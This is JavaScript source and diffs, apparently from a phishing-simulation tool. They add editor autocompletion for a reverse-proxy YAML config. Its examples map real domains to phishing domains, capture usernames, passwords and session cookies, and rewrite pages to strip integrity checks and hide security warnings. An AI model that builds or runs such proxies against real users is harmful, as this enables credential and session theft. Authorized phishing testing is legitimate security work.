startLineNumber: position.lineNumber,
endLineNumber: position.lineNumber,
startColumn: word.startColumn,
endColumn: word.endColumn
};
const lineContent = model.getLineContent(position.lineNumber);
const linePrefix = lineContent.substring(0, position.column - 1);
const fullContent = model.getValue();
const linesAbove = model.getLinesContent().slice(0, position.lineNumber - 1);
return {
suggestions: this.getSuggestions(linePrefix, range, linesAbove, fullContent)
};
}
getSuggestions(linePrefix, range, linesAbove, fullContent) {
const suggestions = [];
const currentIndent = this.getIndent(linePrefix);
// Handle specific field value completions
if (linePrefix.match(/mode:\s*$/)) {
return this.getModeSuggestions(range);
}
if (linePrefix.match(/from:\s*$/)) {
return this.getFromSuggestions(range);
}
if (linePrefix.match(/method:\s*$/)) {
return this.getMethodSuggestions(range);
}
if (linePrefix.match(/(with_session|without_session):\s*$/)) {
return this.getActionSuggestions(range);
}
// Handle array items
if (linePrefix.match(/^\s*-\s*$/)) {
const context = this.findParentSection(linesAbove, currentIndent);
if (context === 'paths') {
return this.getPathPatternSuggestions(range);
}
if (context === 'capture') {
return this.getNewCaptureSuggestions(range);
}
if (context === 'rewrite') {
return this.getNewRewriteSuggestions(range);
}
}
// Handle field completions based on context
const context = this.findParentSection(linesAbove, currentIndent);
if (currentIndent === 0) {
return this.getTopLevelSuggestions(range);
}
switch (context) {
case 'global':
return this.getGlobalSuggestions(range);
case 'domain':
return this.getDomainSuggestions(range);
case 'access':
return this.getAccessSuggestions(range);
case 'on_deny':
return this.getOnDenySuggestions(range);
case 'capture':
return this.getCaptureSuggestions(range);
case 'rewrite':
return this.getRewriteSuggestions(range);
default:
return [];
}
}
getIndent(line) {
const match = line.match(/^\s*/);
return match ? match[0].length : 0;
}
findParentSection(linesAbove, currentIndent) {
// Look backwards to find the parent section
for (let i = linesAbove.length - 1; i >= 0; i--) {
const line = linesAbove[i];
const lineIndent = this.getIndent(line);
const trimmed = line.trim();
if (!trimmed || trimmed.startsWith('#')) continue;
// If we find a line with less indentation that has a colon, it's a parent
if (lineIndent < currentIndent && trimmed.includes(':')) {
const key = trimmed.split(':')[0].trim();
// Top level sections
if (lineIndent === 0) {
if (key === 'global') return 'global';
if (key.match(/^[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/)) return 'domain';
}
// Nested sections
if (key === 'access') return 'access';
if (key === 'capture') return 'capture';
if (key === 'rewrite') return 'rewrite';
if (key === 'on_deny') return 'on_deny';
if (key === 'paths') return 'paths';
}
}
return null;
}
getTopLevelSuggestions(range) {
return [
{
label: 'version',
kind: this.monaco.languages.CompletionItemKind.Property,
insertText: 'version: "0.0"',
documentation: 'Configuration version',
range
},
{
label: 'proxy',
kind: this.monaco.languages.CompletionItemKind.Property,
insertText: 'proxy: "proxy-name"',
documentation: 'Optional proxy name',
range
},
{
label: 'global',
kind: this.monaco.languages.CompletionItemKind.Module,
insertText: 'global:',
documentation: 'Global rules for all domains',
range
}
];
}
getGlobalSuggestions(range) {
return [
{
label: 'access',
kind: this.monaco.languages.CompletionItemKind.Module,
insertText: 'access:',
documentation: 'Global access control',
range
},
{
label: 'capture',
kind: this.monaco.languages.CompletionItemKind.Module,
insertText: 'capture:',
documentation: 'Global capture rules',
range
},
{
label: 'rewrite',
kind: this.monaco.languages.CompletionItemKind.Module,
insertText: 'rewrite:',
documentation: 'Global rewrite rules',
range
}
];
}
getDomainSuggestions(range) {
return [
{
label: 'to',
kind: this.monaco.languages.CompletionItemKind.Property,
insertText: 'to: "phishing-domain.com"',
documentation: 'Target phishing domain (required)',
range
},
{
label: 'access',
kind: this.monaco.languages.CompletionItemKind.Module,
insertText: 'access:',
documentation: 'Domain access control',
range
},
{
label: 'capture',
kind: this.monaco.languages.CompletionItemKind.Module,
insertText: 'capture:',
documentation: 'Domain capture rules',
range
},
{
label: 'rewrite',
kind: this.monaco.languages.CompletionItemKind.Module,
insertText: 'rewrite:',
documentation: 'Domain rewrite rules',
range
}
];
}
getAccessSuggestions(range) {
return [
{
label: 'mode',
kind: this.monaco.languages.CompletionItemKind.Property,
insertText: 'mode: "allow"',
documentation: 'Access control mode: allow or deny',
range
},
{
label: 'paths',
kind: this.monaco.languages.CompletionItemKind.Property,
insertText: 'paths:',
documentation: 'Array of path patterns',
range
},
{
label: 'on_deny',
kind: this.monaco.languages.CompletionItemKind.Module,
insertText: 'on_deny:',
documentation: 'Response when access denied',
range
}
];
}
getOnDenySuggestions(range) {
return [
{
label: 'with_session',
kind: this.monaco.languages.CompletionItemKind.Property,
insertText: 'with_session: 403',
documentation: 'Response for users with sessions',
range
},
{
label: 'without_session',
kind: this.monaco.languages.CompletionItemKind.Property,
insertText: 'without_session: 404',
documentation: 'Response for users without sessions',
range
}
];
}
getCaptureSuggestions(range) {
return [
{
label: 'name',
kind: this.monaco.languages.CompletionItemKind.Property,
insertText: 'name: "capture_name"',
documentation: 'Unique capture rule name (required)',
range
},
{
label: 'method',
kind: this.monaco.languages.CompletionItemKind.Property,
insertText: 'method: "POST"',
documentation: 'HTTP method to match',
range
},
{
label: 'path',
kind: this.monaco.languages.CompletionItemKind.Property,
insertText: 'path: "/login"',
documentation: 'URL path pattern to match (required)',
range
},
{
label: 'find',
kind: this.monaco.languages.CompletionItemKind.Property,
insertText: 'find: "pattern"',
documentation: 'Regex pattern to capture',
range
},
{
label: 'from',
kind: this.monaco.languages.CompletionItemKind.Property,
insertText: 'from: "request_body"',
documentation: 'Where to search for pattern',
range
},
{
label: 'required',
kind: this.monaco.languages.CompletionItemKind.Property,
insertText: 'required: true',
documentation: 'Whether capture is required',
range
}
];
}
getRewriteSuggestions(range) {
return [
{
label: 'name',
kind: this.monaco.languages.CompletionItemKind.Property,
insertText: 'name: "rewrite_name"',
documentation: 'Optional rewrite rule name',
range
},
{
label: 'find',
kind: this.monaco.languages.CompletionItemKind.Property,
insertText: 'find: "pattern"',
documentation: 'Regex pattern to find (required)',
range
},
{
label: 'replace',
kind: this.monaco.languages.CompletionItemKind.Property,
insertText: 'replace: "replacement"',
documentation: 'Replacement text (required)',
range
},
{
label: 'from',
kind: this.monaco.languages.CompletionItemKind.Property,
insertText: 'from: "response_body"',
documentation: 'Where to apply replacement',
range
}
];
}
getNewCaptureSuggestions(range) {
return [
{
label: 'capture rule',
kind: this.monaco.languages.CompletionItemKind.Snippet,
insertText:
'name: "capture_name"\n method: "POST"\n path: "/path"\n find: "pattern"\n from: "request_body"',
documentation: 'New capture rule template',
range
}
];
}
getNewRewriteSuggestions(range) {
return [
{
label: 'rewrite rule',
kind: this.monaco.languages.CompletionItemKind.Snippet,
insertText:
'name: "rewrite_name"\n find: "pattern"\n replace: "replacement"\n from: "response_body"',
documentation: 'New rewrite rule template',
range
}
];
}
getModeSuggestions(range) {
return [
{
label: '"allow"',
kind: this.monaco.languages.CompletionItemKind.Value,
insertText: '"allow"',
documentation: 'Allowlist mode - only specified paths allowed',
range
},
{
label: '"deny"',
kind: this.monaco.languages.CompletionItemKind.Value,
insertText: '"deny"',
documentation: 'Denylist mode - specified paths blocked',
range
}
];
}
getFromSuggestions(range) {
return [
{
label: '"request_body"',
kind: this.monaco.languages.CompletionItemKind.Value,
insertText: '"request_body"',
documentation: 'Search in request body',
range
},
{
label: '"request_header"',
kind: this.monaco.languages.CompletionItemKind.Value,
insertText: '"request_header"',
documentation: 'Search in request headers',
range
},
{
label: '"response_body"',
kind: this.monaco.languages.CompletionItemKind.Value,
insertText: '"response_body"',
documentation: 'Search in response body',
range
},
{
label: '"response_header"',
kind: this.monaco.languages.CompletionItemKind.Value,
insertText: '"response_header"',
documentation: 'Search in response headers',
range
},
{
label: '"cookie"',
kind: this.monaco.languages.CompletionItemKind.Value,
insertText: '"cookie"',
documentation: 'Capture cookie data',
range
},
{
label: '"any"',
kind: this.monaco.languages.CompletionItemKind.Value,
insertText: '"any"',
documentation: 'Search anywhere',
range
}
];
}
getMethodSuggestions(range) {
return [
{
label: '"GET"',
kind: this.monaco.languages.CompletionItemKind.Value,
insertText: '"GET"',
documentation: 'HTTP GET method',
range
},
{
label: '"POST"',
kind: this.monaco.languages.CompletionItemKind.Value,
insertText: '"POST"',
documentation: 'HTTP POST method',
range
},
{
label: '"PUT"',
kind: this.monaco.languages.CompletionItemKind.Value,
insertText: '"PUT"',
documentation: 'HTTP PUT method',
range
},
{
label: '"DELETE"',
kind: this.monaco.languages.CompletionItemKind.Value,
insertText: '"DELETE"',
documentation: 'HTTP DELETE method',
range
}
];
}
getActionSuggestions(range) {
return [
{
label: '"allow"',
kind: this.monaco.languages.CompletionItemKind.Value,
insertText: '"allow"',
documentation: 'Allow access (override deny)',
range
},
{
label: '"redirect:https://example.com"',
kind: this.monaco.languages.CompletionItemKind.Value,
insertText: '"redirect:https://example.com"',
documentation: 'Redirect to URL',
range
},
{
label: '404',
kind: this.monaco.languages.CompletionItemKind.Value,
insertText: '404',
documentation: 'Return 404 Not Found',
range
},
{
label: '403',
kind: this.monaco.languages.CompletionItemKind.Value,
insertText: '403',
documentation: 'Return 403 Forbidden',
range
},
{
label: '503',
kind: this.monaco.languages.CompletionItemKind.Value,
insertText: '503',
documentation: 'Return 503 Service Unavailable',
range
}
];
}
getPathPatternSuggestions(range) {
return [
{
label: '"^/admin/"',
kind: this.monaco.languages.CompletionItemKind.Value,
insertText: '"^/admin/"',
documentation: 'Admin panel paths',
range
},
{
label: '"^/login"',
kind: this.monaco.languages.CompletionItemKind.Value,
insertText: '"^/login"',
documentation: 'Login page',
range
},
{
label: '"^/api/"',
kind: this.monaco.languages.CompletionItemKind.Value,
insertText: '"^/api/"',
documentation: 'API endpoints',
range
},
{
label: '"^/assets/"',
kind: this.monaco.languages.CompletionItemKind.Value,
insertText: '"^/assets/"',
documentation: 'Static assets',
range
},
{
label: '"^/\\.git/"',
kind: this.monaco.languages.CompletionItemKind.Value,
insertText: '"^/\\.git/"',
documentation: 'Git repository',
range
}
];
}
provideHover(model, position) {
const word = model.getWordAtPosition(position);
if (!word) return null;
const hoverInfo = this.getHoverInfo(word.word);
if (!hoverInfo) return null;
return {
range: new this.monaco.Range(
position.lineNumber,
word.startColumn,
position.lineNumber,
word.endColumn
),
contents: [{ value: `**${word.word}**` }, { value: hoverInfo }]
};
}
getHoverInfo(word) {
const hoverData = {
version: 'Configuration version. Currently supports "0.0"',
global: 'Rules that apply to all domain mappings',
access: 'Access control configuration - restricts which paths are accessible',
mode: 'Access control mode: "allow" (allowlist) or "deny" (denylist)',
paths: 'Array of regex patterns for path matching',
on_deny: 'Response configuration when access is denied',
with_session: 'Response for users with active proxy sessions (request with mitm cookie)',
without_session: 'Response for requests without sessions',
capture: 'Rules for capturing data from requests/responses',
name: 'Unique identifier for the rule',
method: 'HTTP method to match (GET, POST, PUT, DELETE, etc.)',
path: 'URL path pattern to match (regex)',
find: 'Regex pattern to capture data, or cookie name if from=cookie',
from: 'Location to search: request_body, request_header, response_body, response_header, cookie, any',
required: 'Whether this capture is required for page and capture completion',
rewrite: 'Rules for modifying request/response content',
replace: 'Replacement text for the find pattern',
to: 'Target phishing domain for this original domain'
};
return hoverData[word] || null;
}
}
// Global provider instance to prevent duplicates
let globalProvider = null;
// Initialize the completion provider
export function setupProxyYamlCompletion(monaco) {
// Dispose existing provider if it exists
if (globalProvider) {
globalProvider.dispose();
}
// Create new provider
globalProvider = new ProxyYamlCompletionProvider(monaco);
return globalProvider;
}
+1
View File
@@ -1,5 +1,6 @@
/**
* hacky vim copy to clipboard on visual mode d or y key down
* supports yy and dd and thats it.
*/
/**
+13 -33
View File
@@ -62,39 +62,18 @@
name: null
};
const currentExample = `version: "0.0" # config version
proxy: 172.20.0.138:8081 # proxy server address
global: # rules applied to all domains
rewrite:
- name: loose rename integrity # required identifier
find: integrity=
replace: data-no-integrity=
from: response_body # where to apply
login.example.com: # original domain
to: login.phishingclub.test # proxy domain
capture:
- name: username # required identifier
method: POST # http method
path: /auth # url path pattern
find: username=([^&]+) # regex pattern to capture
from: request_body # where to search: request_body|request_header|response_body|response_header|cookie|any
- name: password # required identifier
method: POST # http method
path: /auth # url path pattern
find: password=([^&]+) # regex pattern to capture
from: request_body # where to search
- name: session_token # required identifier
method: GET # http method
path: /dashboard # url path pattern
find: SESSIONID # cookie name to capture
from: cookie # captures full cookie data
rewrite:
- name: hide_warning # required identifier
find: security-warning # text/pattern to find
replace: hidden # replacement text
from: response_body # where to apply: request_body|request_header|response_body|response_header|any
www.example.com: # original domain
to: www.phishingclub.test # proxy domain`;
const currentExample = `version: "0.0"
proxy: "My Proxy Campaign"
portal.example.com:
to: "evil.example.com"
capture:
- name: "credentials"
method: "POST"
path: "/login"
find: "username=([^&]+).*password=([^&]+)"
from: "request_body"
required: true`;
$: {
modalText = getModalText('Proxy', modalMode);
@@ -442,6 +421,7 @@ www.example.com: # original domain
height="large"
language="yaml"
placeholder={currentExample}
enableProxyCompletion={true}
/>
</div>
</div>